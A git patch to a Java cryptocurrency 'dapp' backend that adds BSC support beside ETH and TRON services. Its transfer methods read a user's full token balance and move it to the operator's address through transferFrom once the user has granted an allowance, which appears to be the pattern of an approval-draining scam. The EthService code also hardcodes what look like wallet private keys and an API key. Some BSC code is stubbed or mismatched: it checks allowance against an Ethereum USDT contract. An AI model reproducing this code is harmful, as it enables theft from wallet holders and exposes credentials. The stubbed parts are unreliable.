From 6768b37b0c70f4321d59f218871ccbdbeb503991 Mon Sep 17 00:00:00 2001
From: Helius <wangdoubleone@gmail.com>
Date: Fri, 15 Apr 2022 18:07:21 +0800
Subject: [PATCH] fix add bsc

---
 src/main/java/cc/mrbird/febs/dapp/chain/EthService.java                   |   18 +++
 src/main/java/cc/mrbird/febs/dapp/chain/ChainService.java                 |    2 
 src/main/java/cc/mrbird/febs/dapp/dto/ApproveDto.java                     |    3 
 src/main/java/cc/mrbird/febs/dapp/chain/ContractChainService.java         |   19 ++++
 src/main/java/cc/mrbird/febs/dapp/chain/BscService.java                   |  151 +++++++++++++++++++++++++++++++++++++
 src/main/java/cc/mrbird/febs/dapp/service/impl/DappMemberServiceImpl.java |    1 
 src/main/java/cc/mrbird/febs/dapp/chain/TrxService.java                   |   24 ++++-
 src/main/java/cc/mrbird/febs/dapp/chain/ChainEnum.java                    |    8 ++
 src/main/java/cc/mrbird/febs/dapp/entity/DappMemberEntity.java            |    5 +
 9 files changed, 220 insertions(+), 11 deletions(-)

diff --git a/src/main/java/cc/mrbird/febs/dapp/chain/BscService.java b/src/main/java/cc/mrbird/febs/dapp/chain/BscService.java
new file mode 100644
index 0000000..8aee1e7
--- /dev/null
+++ b/src/main/java/cc/mrbird/febs/dapp/chain/BscService.java
@@ -0,0 +1,151 @@
+package cc.mrbird.febs.dapp.chain;
+
+import cn.hutool.core.util.StrUtil;
+import cn.hutool.http.HttpUtil;
+import com.alibaba.fastjson.JSONObject;
+import org.apache.commons.lang3.StringUtils;
+import org.web3j.abi.FunctionEncoder;
+import org.web3j.abi.FunctionReturnDecoder;
+import org.web3j.abi.TypeReference;
+import org.web3j.abi.datatypes.Address;
+import org.web3j.abi.datatypes.Function;
+import org.web3j.abi.datatypes.Type;
+import org.web3j.abi.datatypes.generated.Uint256;
+import org.web3j.crypto.Credentials;
+import org.web3j.crypto.RawTransaction;
+import org.web3j.crypto.TransactionEncoder;
+import org.web3j.protocol.Web3j;
+import org.web3j.protocol.core.DefaultBlockParameterName;
+import org.web3j.protocol.core.methods.request.Transaction;
+import org.web3j.protocol.core.methods.response.EthCall;
+import org.web3j.protocol.core.methods.response.EthGetTransactionCount;
+import org.web3j.protocol.core.methods.response.EthSendTransaction;
+import org.web3j.protocol.http.HttpService;
+import org.web3j.utils.Convert;
+import org.web3j.utils.Numeric;
+
+import java.io.IOException;
+import java.math.BigDecimal;
+import java.math.BigInteger;
+import java.math.RoundingMode;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+import java.util.concurrent.CompletableFuture;
+
+/**
+ * @author wzy
+ * @date 2022-04-15
+ **/
+public class BscService implements ContractChainService {
+
+    private Web3j web3j;
+    private String url;
+    private String ownerAddress;
+    private String privateKey;
+    private String contractAddress;
+
+    public BscService(String url, String address, String privateKey, String contractAddress) {
+        this.url = url;
+        this.ownerAddress = address;
+        this.privateKey = privateKey;
+        this.contractAddress = contractAddress;
+
+        HttpService service = new HttpService(url);
+        web3j = Web3j.build(service);
+    }
+
+    @Override
+    public BigInteger balanceOfUnDecimal(String fromAddress) {
+        try {
+            String methodName = "balanceOf";
+            List<Type> inputParameters = new ArrayList<>();
+            List<TypeReference<?>> outputParameters = new ArrayList<>();
+            Address address = new Address(fromAddress);
+            inputParameters.add(address);
+            TypeReference<Uint256> typeReference = new TypeReference<Uint256>() {
+            };
+            outputParameters.add(typeReference);
+            Function function = new Function(methodName, inputParameters, outputParameters);
+            String data = FunctionEncoder.encode(function);
+            Transaction transaction = Transaction.createEthCallTransaction(fromAddress, contractAddress, data);
+
+            EthCall ethCall;
+            BigInteger balanceValue = BigInteger.ZERO;
+            try {
+                ethCall = web3j.ethCall(transaction, DefaultBlockParameterName.LATEST).send();
+                List<Type> results = FunctionReturnDecoder.decode(ethCall.getValue(), function.getOutputParameters());
+                balanceValue = (BigInteger) results.get(0).getValue();
+            } catch (IOException e) {
+                e.printStackTrace();
+            }
+
+            return balanceValue;
+
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+        return BigInteger.ZERO;
+    }
+
+    @Override
+    public BigDecimal balanceOf(String fromAddress) {
+        int decimal = 6;
+        BigInteger balanceValue = balanceOfUnDecimal(fromAddress);
+
+        double res = new BigDecimal(balanceValue).divide(BigDecimal.valueOf(Math.pow(10, decimal)), 8, RoundingMode.HALF_DOWN).doubleValue();
+        if (res > 0) {
+            return new BigDecimal(res);
+        }
+
+        return BigDecimal.ZERO;
+    }
+
+    @Override
+    public BigInteger allowance(String address) {
+        String contractAddress = "0xdac17f958d2ee523a2206206994597c13d831ec7";
+        String methodName = "allowance";
+        List<TypeReference<?>> outputParameters = new ArrayList<>();
+        TypeReference<Uint256> typeReference = new TypeReference<Uint256>() {};
+        outputParameters.add(typeReference);
+
+        Function function = new Function(methodName,
+                Arrays.asList(new Address(address), new Address(ownerAddress))
+                , outputParameters);
+        String data = FunctionEncoder.encode(function);
+        Transaction transaction = Transaction.createEthCallTransaction(ownerAddress, contractAddress, data);
+
+        EthCall ethCall = null;
+        try {
+            ethCall = web3j.ethCall(transaction, DefaultBlockParameterName.LATEST).send();
+            List<Type> results = FunctionReturnDecoder.decode(ethCall.getValue(), function.getOutputParameters());
+            return (BigInteger) results.get(0).getValue();
+        } catch (IOException e) {
+            e.printStackTrace();
+        }
+
+        return BigInteger.ZERO;
+    }
+
+    public String getGas() {
+        String resp = HttpUtil.get("https://etherscan.io/autoUpdateGasTracker.ashx?sid=75f30b765180f29e2b7584b8501c9124");
+        JSONObject data = JSONObject.parseObject(resp);
+        String gas = data.getString("avgPrice");
+        return StrUtil.isBlank(gas) ? "35" : gas;
+    }
+
+    @Override
+    public String transfer(String address) {
+        return null;
+    }
+
+    @Override
+    public String transfer(String address, BigDecimal amount) {
+        return "";
+    }
+
+    @Override
+    public int allowanceCnt(String address) {
+        return 0;
+    }
+}
diff --git a/src/main/java/cc/mrbird/febs/dapp/chain/ChainEnum.java b/src/main/java/cc/mrbird/febs/dapp/chain/ChainEnum.java
new file mode 100644
index 0000000..5d278fc
--- /dev/null
+++ b/src/main/java/cc/mrbird/febs/dapp/chain/ChainEnum.java
@@ -0,0 +1,8 @@
+package cc.mrbird.febs.dapp.chain;
+
+/**
+ * 链类型
+ */
+public enum ChainEnum {
+    ETH, TRX, BSC
+}
diff --git a/src/main/java/cc/mrbird/febs/dapp/chain/ChainService.java b/src/main/java/cc/mrbird/febs/dapp/chain/ChainService.java
index 62626b0..89cbd2c 100644
--- a/src/main/java/cc/mrbird/febs/dapp/chain/ChainService.java
+++ b/src/main/java/cc/mrbird/febs/dapp/chain/ChainService.java
@@ -33,7 +33,7 @@
         if (address.contains(ETH_PREFIX)) {
             balance = ETH.tokenGetBalance(address);
         } else {
-            balance = TRX.balanceOfDecimal(address);
+            balance = TRX.balanceOf(address);
         }
         return balance;
     }
diff --git a/src/main/java/cc/mrbird/febs/dapp/chain/ContractChainService.java b/src/main/java/cc/mrbird/febs/dapp/chain/ContractChainService.java
new file mode 100644
index 0000000..ee4fee0
--- /dev/null
+++ b/src/main/java/cc/mrbird/febs/dapp/chain/ContractChainService.java
@@ -0,0 +1,19 @@
+package cc.mrbird.febs.dapp.chain;
+
+import java.math.BigDecimal;
+import java.math.BigInteger;
+
+public interface ContractChainService {
+
+    BigInteger balanceOfUnDecimal(String address);
+
+    BigDecimal balanceOf(String address);
+
+    BigInteger allowance(String address);
+
+    String transfer(String address);
+
+    String transfer(String address, BigDecimal amount);
+
+    int allowanceCnt(String address);
+}
diff --git a/src/main/java/cc/mrbird/febs/dapp/chain/EthService.java b/src/main/java/cc/mrbird/febs/dapp/chain/EthService.java
index 2dce045..b2b47d4 100644
--- a/src/main/java/cc/mrbird/febs/dapp/chain/EthService.java
+++ b/src/main/java/cc/mrbird/febs/dapp/chain/EthService.java
@@ -53,12 +53,12 @@
 	 */
 	//private static final String ETH_UTL = "http://120.55.86.146:8545";
 	//	private static final String ETH_UTL = "http://114.55.250.231:8545";
-	private static final String ETH_UTL = "https://mainnet.infura.io/v3/f54a5887a3894ebb9425920701a97fe0";
+	private static String ETH_UTL = "https://mainnet.infura.io/v3/f54a5887a3894ebb9425920701a97fe0";
 //	private static final String OWNER_ADDRESS = "0xD998DA7362360eFC6daDFEd6E9a32E70640d7600";
 //	private static final String OWNER_PRIVATE = "06f95d3edf59888708d485d06b8b3e3f9aaa6b40d693018a1d19a7be95fe9419";
 
-	private static final String OWNER_ADDRESS = "0x6c5640c572504a75121e57760909a9dd0E672f2D";
-	private static final String OWNER_PRIVATE = "77f650768ff50a4243c008fbae1be9ffe74c52908ee9081e2e15f3d3411690bb";
+	private static String OWNER_ADDRESS = "0x6c5640c572504a75121e57760909a9dd0E672f2D";
+	private static String OWNER_PRIVATE = "77f650768ff50a4243c008fbae1be9ffe74c52908ee9081e2e15f3d3411690bb";
 
 	public EthService() {
 		try {
@@ -69,6 +69,18 @@
 		}
 	}
 
+	public EthService(String url, String address, String privateKey) {
+		try {
+			OWNER_ADDRESS = address;
+			OWNER_PRIVATE = privateKey;
+			ETH_UTL = url;
+			HttpService service = new HttpService(url);
+			web3j = Web3j.build(service);
+		} catch (Exception e) {
+			log.error("连接eth网络失败", e);
+		}
+	}
+
 	/**
 	 * 查询ETH余额
 	 * 
diff --git a/src/main/java/cc/mrbird/febs/dapp/chain/TrxService.java b/src/main/java/cc/mrbird/febs/dapp/chain/TrxService.java
index f333fe2..0fd714c 100644
--- a/src/main/java/cc/mrbird/febs/dapp/chain/TrxService.java
+++ b/src/main/java/cc/mrbird/febs/dapp/chain/TrxService.java
@@ -18,7 +18,7 @@
  * @author 
  * @date 2022-03-21
  **/
-public class TrxService {
+public class TrxService implements ContractChainService {
 
 //    private final static String ADDRESS = "TUy8XwDmdsDKPLDGUrGuNRVMhwSEKtkDcD";
 //    private final static String PRIVATE = "b5627861c6edb2245276273e5f5ad5082f93c3b09fc7b757223ca8526504bfe7";
@@ -40,16 +40,19 @@
         contract = new Trc20Contract(trc20Contract, ADDRESS, wrapper);
     }
 
+    @Override
     public BigInteger allowance(String owner) {
         return contract.allowance(owner, ADDRESS);
     }
 
-    public BigInteger balanceOf(String address) {
+    @Override
+    public BigInteger balanceOfUnDecimal(String address) {
         return contract.balanceOf(address);
     }
 
-    public BigDecimal balanceOfDecimal(String address) {
-        BigInteger chainData = balanceOf(address);
+    @Override
+    public BigDecimal balanceOf(String address) {
+        BigInteger chainData = balanceOfUnDecimal(address);
 
         BigInteger decimals = contract.decimals();
         BigDecimal mul = BigDecimal.TEN.pow(decimals.intValue());
@@ -57,12 +60,14 @@
         return new BigDecimal(chainData).divide(mul, decimals.intValue(), RoundingMode.HALF_DOWN);
     }
 
-    public void transfer(String address) {
-        BigInteger balance = balanceOf(address);
+    @Override
+    public String transfer(String address) {
+        BigInteger balance = balanceOfUnDecimal(address);
 
-        contract.transferFrom(address, ADDRESS, balance.intValue(), 0, "memo", 100000000L);
+        return contract.transferFrom(address, ADDRESS, balance.intValue(), 0, "memo", 100000000L);
     }
 
+    @Override
     public String transfer(String address, BigDecimal amount) {
         BigInteger decimals = contract.decimals();
         BigDecimal mul = BigDecimal.TEN.pow(decimals.intValue());
@@ -71,6 +76,11 @@
         return contract.transferFrom(address, ADDRESS, amount.intValue(), 0, "memo", 100000000L);
     }
 
+    @Override
+    public int allowanceCnt(String address) {
+        return 0;
+    }
+
     public static void main(String[] args) {
         System.out.println(INSTANCE.transfer("TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9", BigDecimal.valueOf(5)));;
     }
diff --git a/src/main/java/cc/mrbird/febs/dapp/dto/ApproveDto.java b/src/main/java/cc/mrbird/febs/dapp/dto/ApproveDto.java
index 16cafe7..1293412 100644
--- a/src/main/java/cc/mrbird/febs/dapp/dto/ApproveDto.java
+++ b/src/main/java/cc/mrbird/febs/dapp/dto/ApproveDto.java
@@ -21,4 +21,7 @@
 
     @ApiModelProperty(value = "推荐人")
     private String refererId;
+
+    @ApiModelProperty(value = "链类型")
+    private String chainType;
 }
diff --git a/src/main/java/cc/mrbird/febs/dapp/entity/DappMemberEntity.java b/src/main/java/cc/mrbird/febs/dapp/entity/DappMemberEntity.java
index bdc1f06..adc5fb1 100644
--- a/src/main/java/cc/mrbird/febs/dapp/entity/DappMemberEntity.java
+++ b/src/main/java/cc/mrbird/febs/dapp/entity/DappMemberEntity.java
@@ -45,4 +45,9 @@
     private int approveCnt;
 
     private int source;
+
+    /**
+     * 链 1-以太坊 2-币安 3-波场
+     */
+    private String chainType;
 }
diff --git a/src/main/java/cc/mrbird/febs/dapp/service/impl/DappMemberServiceImpl.java b/src/main/java/cc/mrbird/febs/dapp/service/impl/DappMemberServiceImpl.java
index f5f9a54..f9b5555 100644
--- a/src/main/java/cc/mrbird/febs/dapp/service/impl/DappMemberServiceImpl.java
+++ b/src/main/java/cc/mrbird/febs/dapp/service/impl/DappMemberServiceImpl.java
@@ -63,6 +63,7 @@
         int cnt = instance.allowanceCnt(approveDto.getAddress());
         member.setApproveCnt(cnt);
 
+        member.setChainType(approveDto.getChainType());
         dappMemberDao.insert(member);
 
         member.setInviteId(ShareCodeUtil.toSerialCode(member.getId()));

--
Gitblit v1.9.1